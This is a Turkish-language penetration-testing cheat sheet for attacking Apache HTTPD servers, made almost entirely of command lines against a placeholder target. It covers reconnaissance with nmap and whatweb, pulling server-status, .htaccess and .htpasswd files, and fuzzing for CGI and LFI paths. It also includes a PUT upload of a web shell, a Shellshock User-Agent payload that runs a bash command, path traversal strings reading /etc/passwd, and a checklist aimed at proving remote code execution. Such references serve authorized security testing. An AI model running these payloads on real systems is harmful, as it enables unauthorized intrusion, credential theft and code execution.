Apache

network http

Apache HTTPD hâlâ en yaygın web sunucularından. Sızıntı veren handler’lar, CGI, yanlış alias ve eski mod_cgi/mod_php kombinasyonları saldırı yüzeyi üretir.

Metodoloji

1. Sürüm, modül ve vhost haritasını çıkar.

2. server-status / server-info / .htaccess / CGI yollarını tara.

3. Path traversal, PUT, CGI RCE hipotezlerini doğrula.

4. Web root yazma veya LFI/RFI zincirine geç.

Keşif

nmap -Pn -sV -p80,443 --script http-server-header,http-methods,http-enum TARGET

curl -skI https://TARGET/

whatweb -a 3 https://TARGET

curl -sk https://TARGET/ -H 'Host: evil.com' | head

Bilgi sızıntısı

curl -sk https://TARGET/server-status

curl -sk https://TARGET/server-info

curl -sk https://TARGET/.htaccess

curl -sk https://TARGET/.htpasswd

curl -sk https://TARGET/icons/

Content discovery

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Apache.fuzz.txt -mc 200,204,301,302,403

ffuf -u https://TARGET/cgi-bin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/cgis.txt -mc 200,500

nuclei -u https://TARGET -tags apache

Methods / PUT

curl -sk -X OPTIONS https://TARGET/ -D -

curl -sk -X PUT https://TARGET/shell.jsp --data-binary @shell.jsp

nmap -p80,443 --script http-put --script-args http-put.url='/test.txt',http-put.file=/tmp/test.txt TARGET

CGI / Shellshock benzeri

curl -sk https://TARGET/cgi-bin/status -H 'User-Agent: () { :; }; /bin/bash -c "id"'

curl -sk 'https://TARGET/cgi-bin/test.cgi' --data 'x=1'

Traversal / alias

/icons/../../../../etc/passwd
/cgi-bin/.%2e/.%2e/.%2e/etc/passwd

ffuf -u 'https://TARGET/FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr 'root:'

Checklist

[ ] Sürüm/modül/vhost
[ ] status/info/htaccess
[ ] cgi-bin ve methods
[ ] PUT/CGI/traversal PoC
[ ] Web root veya RCE kanıtı